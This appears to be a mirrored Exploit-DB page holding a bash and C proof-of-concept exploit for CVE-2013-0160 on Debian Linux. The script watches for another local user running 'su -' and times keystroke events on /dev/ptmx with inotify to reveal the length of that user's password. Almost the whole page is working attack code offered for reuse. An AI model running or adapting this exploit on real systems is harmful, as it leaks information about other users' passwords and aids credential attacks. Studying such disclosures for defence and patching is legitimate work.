Linux Kernel 2.6.32-5 (Debian 6.0.5) – ‘/dev/ptmx’ Key Stroke Timing Local Disclosure - 体验盒子

作者： vladz

日期： 2013-02-05

类别：

local

平台：

linux

来源：https://www.exploit-db.com/exploits/24459/

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#!/bin/bash

# ptmx-su-pwdlen.sh -- This PoC determine the password length of a local

# user who runs "su -".Done thanks to the ptmx keystroke timing attack

# (CVE-2013-0160). See http://vladz.devzero.fr/013_ptmx-timing.php for

# more information.

#

# Tested on Debian 6.0.5 (kernel 2.6.32-5-amd64).

#

# "THE BEER-WARE LICENSE" (Revision 42):

# <vladz@devzero.fr> wrote this file. As long as you retain this notice

# you can do whatever you want with this stuff. If we meet some day, and

# you think this stuff is worth it, you can buy me a beer in return. -V.

if ps -e -o cmd= | egrep -q "^(-|^)su"; then

echo "[-] Kill/close all running \"su\" session before using this PoC"

exit 1

fi

exe=$(mktemp) || exit 1

tmp=$(mktemp) || exit 1

cat > ${exe}.c << _EOF_

#include <stdio.h>

#include <signal.h>

#include <unistd.h>

#include <sys/inotify.h>

static int count = 0;

void display_result() {

printf("[+] password len is %d\n", count-1);

_exit(0);

}

int main() {

int fd;

char buf[1024];

signal(SIGINT, display_result);

fd = inotify_init();

inotify_add_watch(fd, "/dev/ptmx", IN_MODIFY);

while(read(fd, buf, 1024)) count++;

return 0;

}

_EOF_

cc -o ${exe}{,.c}

echo "[*] Wait for someone to run \"su -\""

while true; do

ps -e -o cmd= | egrep "^(-|^)su" >${tmp}

x=$(wc -l ${tmp})

case ${x% *} in

1) (( run )) && continue;

echo -n "[+] su detected, full command: "

cat ${tmp}; ${exe} &

(( run = 1 ));;

2) [ ! -z "$!" ] && kill -2 $!; break ;;

esac

done

rm -f ${exe}{,.c} ${tmp}